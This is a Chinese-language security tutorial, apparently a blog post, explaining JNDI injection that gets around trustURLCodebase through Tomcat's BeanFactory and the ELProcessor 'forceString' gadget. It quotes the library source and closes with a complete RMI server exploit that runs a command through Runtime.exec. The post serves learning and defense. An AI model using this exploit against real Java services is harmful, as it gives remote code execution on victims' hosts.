上一篇文章我们讨论了通过Reference方法实现远程恶意类的自动加载,最终提供了一种使用本地类绕过truseURLCodeBase的方法,今天我们就来找到这样一个类,我们知道我们的远程恶意类要满足的两个条件是,首先要实现ObjectFactory接口,这是充分必要条件,还有一个充分不必要条件就是要重写javax.naming.spi.ObjectFactory方法。因为本地类的内容是我们不可控的,也就是不能去自己写静态代码块、实例代码块与无参构造方法,那么我们今天要找的本地类也就必须要实现getObjectInstance方法且有可利用的点,我们在Tomcat的源码中找到了这样一个方法,这里提供一个寻找某一个类实现类的快捷键,我们在IDEA中安Ctrl+H就可以看到所有实现了这个接口的类了。
这里我们之间看org.apache.naming.factory.BeanFactory#getObjectInstance方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?,?> environment) throws NamingException { if (obj instanceof ResourceRef) { try { Reference ref = (Reference) obj; String beanClassName = ref.getClassName(); Class<?> beanClass = null ; ClassLoader tcl = Thread.currentThread().getContextClassLoader(); if (tcl != null ) { try { beanClass = tcl.loadClass(beanClassName); } catch (ClassNotFoundException e) { } } else { try { beanClass = Class.forName(beanClassName); } catch (ClassNotFoundException e) { e.printStackTrace(); } } if (beanClass == null ) { throw new NamingException ("Class not found: " + beanClassName); } BeanInfo bi = Introspector.getBeanInfo(beanClass); PropertyDescriptor[] pda = bi.getPropertyDescriptors(); Object bean = beanClass.newInstance(); RefAddr ra = ref.get("forceString" ); Map<String, Method> forced = new HashMap <>(); String value; if (ra != null ) { value = (String)ra.getContent(); Class<?> paramTypes[] = new Class [1 ]; paramTypes[0 ] = String.class; String setterName; int index; for (String param: value.split("," )) { param = param.trim(); index = param.indexOf('=' ); if (index >= 0 ) { setterName = param.substring(index + 1 ).trim(); param = param.substring(0 , index).trim(); } else { setterName = "set" + param.substring(0 , 1 ).toUpperCase(Locale.ENGLISH) + param.substring(1 ); } try { forced.put(param, beanClass.getMethod(setterName, paramTypes)); } catch (NoSuchMethodException|SecurityException ex) { throw new NamingException ("Forced String setter " + setterName + " not found for property " + param); } } } Enumeration<RefAddr> e = ref.getAll(); while (e.hasMoreElements()) { ra = e.nextElement(); String propName = ra.getType(); if (propName.equals(Constants.FACTORY) || propName.equals("scope" ) || propName.equals("auth" ) || propName.equals("forceString" ) || propName.equals("singleton" )) { continue ; } value = (String)ra.getContent(); Object[] valueArray = new Object [1 ]; Method method = forced.get(propName); if (method != null ) { valueArray[0 ] = value; try { method.invoke(bean, valueArray); } catch (IllegalAccessException| IllegalArgumentException| InvocationTargetException ex) { throw new NamingException ("Forced String setter " + method.getName() + " threw exception for property " + propName); } continue ; } int i = 0 ; for (i = 0 ; i<pda.length; i++) { if (pda[i].getName().equals(propName)) { Class<?> propType = pda[i].getPropertyType(); if (propType.equals(String.class)) { valueArray[0 ] = value; } else if (propType.equals(Character.class) || propType.equals(char .class)) { valueArray[0 ] = Character.valueOf(value.charAt(0 )); } else if (propType.equals(Byte.class) || propType.equals(byte .class)) { valueArray[0 ] = Byte.valueOf(value); } else if (propType.equals(Short.class) || propType.equals(short .class)) { valueArray[0 ] = Short.valueOf(value); } else if (propType.equals(Integer.class) || propType.equals(int .class)) { valueArray[0 ] = Integer.valueOf(value); } else if (propType.equals(Long.class) || propType.equals(long .class)) { valueArray[0 ] = Long.valueOf(value); } else if (propType.equals(Float.class) || propType.equals(float .class)) { valueArray[0 ] = Float.valueOf(value); } else if (propType.equals(Double.class) || propType.equals(double .class)) { valueArray[0 ] = Double.valueOf(value); } else if (propType.equals(Boolean.class) || propType.equals(boolean .class)) { valueArray[0 ] = Boolean.valueOf(value); } else { throw new NamingException ("String conversion for property " + propName + " of type '" + propType.getName() + "' not available" ); } Method setProp = pda[i].getWriteMethod(); if (setProp != null ) { setProp.invoke(bean, valueArray); } else { throw new NamingException ("Write not allowed for property: " + propName); } break ; } } if (i == pda.length) { throw new NamingException ("No set method found for property: " + propName); } } return bean; } catch (java.beans.IntrospectionException ie) { NamingException ne = new NamingException (ie.getMessage()); ne.setRootCause(ie); throw ne; } catch (java.lang.IllegalAccessException iae) { NamingException ne = new NamingException (iae.getMessage()); ne.setRootCause(iae); throw ne; } catch (java.lang.InstantiationException ie2) { NamingException ne = new NamingException (ie2.getMessage()); ne.setRootCause(ie2); throw ne; } catch (java.lang.reflect.InvocationTargetException ite) { Throwable cause = ite.getCause(); if (cause instanceof ThreadDeath) { throw (ThreadDeath) cause; } if (cause instanceof VirtualMachineError) { throw (VirtualMachineError) cause; } NamingException ne = new NamingException (ite.getMessage()); ne.setRootCause(ite); throw ne; } } else { return null ; } }
该函数接受三个重要参数,一个是我们从注册中心远程获取的Ref对新娘,一个是我们JNDI查询的name,一个是我们注册中心的上下文registryContext 该方法首先判断我么的方法是否是ResourceRef的实例对象,按照我们上一篇文章的恶意类来说,我们的Ref对象是Reference的实例对象而Reference是一个接口并没有集成其他的类,那么如果还是直接使用Reference实例的haul就不满足这个条件,代码直接就结束了,所以这里我们首先得保证我们远程注册的对象是ResourceRef的实例,那么我们之家渠道ResourceRef这个类看看 注意到该类继承了Reference类,那么我们注册的远程Reference对象也可以是ResourceRef的实例对象。这就解决了第一个问题。 在org.apache.naming.factory.BeanFactory#getObjectInstance方法第124行会调用一次ResourceRef的getClassname方法,我们直接看这个方法。 直接放回了变量className,我们看看怎么赋值的
Reference实例化的时候通过有参构造方法赋值的,那么我们在构造远程对象的时候并没有显式得构造Reference对象,所以其赋值来自于ResourceRef类实例化过程中 第105行调用了父类的构造方法,也就是如果我们传入7个参数对ResourceRef进行实例化,便会调用到Refernce的实例化过程,且第一个参数就是getClass最终返回的类名。然后就是根据该类名使用反射机制实例化该类,也就是说该类也应该是Client存在的类。 然后重点来到第151行,这里调用ref对象的get方法,传入字符串forceString,最终返回的是一个RefAddr对象,我们重点关注一下这个方法。 这里有一个重要的对象addrs 其实就是一个列表,其中存的数据类型为RefAddr对象,所以上面调用了其size方法获取了列表的大小,所以get方法的逻辑也就清楚了,遍历列表中的每一个元素调用其getType方法获取到type然后与我们传入的字符串比较,如果相等则返回该RefAddr对象 那么这个RefAddr对象可以通过什么方式添加呢?我在Reference类中找到了 那么再ResourceRef类中同样可以通过一样的方式添加,我们只需调用add方法,传入RefAddr对象就可以了。回到BeanFactory类,这里调用完get方法后,获得了RefAddr类型的变量,然后调用了其getContent方法,我们又来看看这个方法干了啥。 我们发现这是一个抽象类,没有具体的实现,所以我们使用快捷键ctrl+alt+b找一个实现类 这里contents来自于StringRefAddr初始化的时候传入的变量addr,注意到还有一个变量addrType通过其父类传入 这个时候我们可以构建一个StringRefAddr对象 new StringRefAddr(“addrType”, “addr”),这一部分可以总结一下,创建一个ResourceRef对象,然后调用其add方法可以传入一个StringRefAddr对象,也就是
1 2 ResourceRef resourceRef = new ResourceRef ("ResourceClass" , null , "" , "" , true , "org.apache.naming.factory.BeanFactory" , null );resourceRef.add(new StringRefAddr ("forceString" , "addr" ));
在执行完getContent方法后会返回一个字符串也就是上面提到的addr,赋值给value,然后通过,
分割后循环处理每一部分。针对每一部分通过=
分割,等号前面的部分赋值给param,等号后面的部分赋值给setterName,然后以setterName作为方法名利用反射的方式获取上面提到的Class对象对应的Method对象,注意到该方法只能接受一个String类型的参数,然后讲该Method方法作为值,param作为键存入一个HashMap 变量名forced。
然后会调用ResourceRef#getAll方法获取实例化过程中传入的所有参数并存入枚举类型中。然后一个一个的迭代获取其addrType,直到其不等于scope、factory、auth、singleton、forceString之后进入下面的步骤,假设我们在调用ResourceRef的add方法时后设置了一个addrType,为a也就是new ResourceRef().add(new StringAddrRef(“a”, “地址类型”)),在202行就会调用StringRefAddr的getContents方法获取到“地址类型”赋值给value。 然后再低207行从上面forced这个HashMap中取出a对应的Method,然后利用反射机制调用该Method的invoke方法将封装成数组的value作为参数践行调用。那么如果我找到一个本地Class,然后其有一个方法可以进行任意命令执行岂不美滋滋。。。 这个类就是javax.el.ELProcessor
使用其eval方法即可执行任意命令。所以我们的服务端写法也就出来了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 package com.armandhe.jnditest;import com.sun.jndi.rmi.registry.ReferenceWrapper;import org.apache.naming.ResourceRef;import javax.naming.NamingException;import javax.naming.Reference;import javax.naming.StringRefAddr;import java.net.MalformedURLException;import java.rmi.AlreadyBoundException;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class Server { public static void main (String[] args) throws RemoteException, NamingException, MalformedURLException, AlreadyBoundException { Registry registry = LocateRegistry.createRegistry(1099 ); ResourceRef resourceRef = new ResourceRef ("javax.el.ELProcessor" , null , "" , "" , true , "org.apache.naming.factory.BeanFactory" , null ); resourceRef.add(new StringRefAddr ("forceString" , "a=eval" )); resourceRef.add(new StringRefAddr ("a" , "Runtime.getRuntime().exec(\"calc\")" )); ReferenceWrapper referenceWrapper = new ReferenceWrapper (resourceRef); registry.bind("el" , referenceWrapper); System.out.println("rmi://127.0.0.1/el is working" ); } }
这样就不需要在客户端设置System.setProperty(“com.sun.jndi.rmi.object.trustURLCodebase”, “true”);
了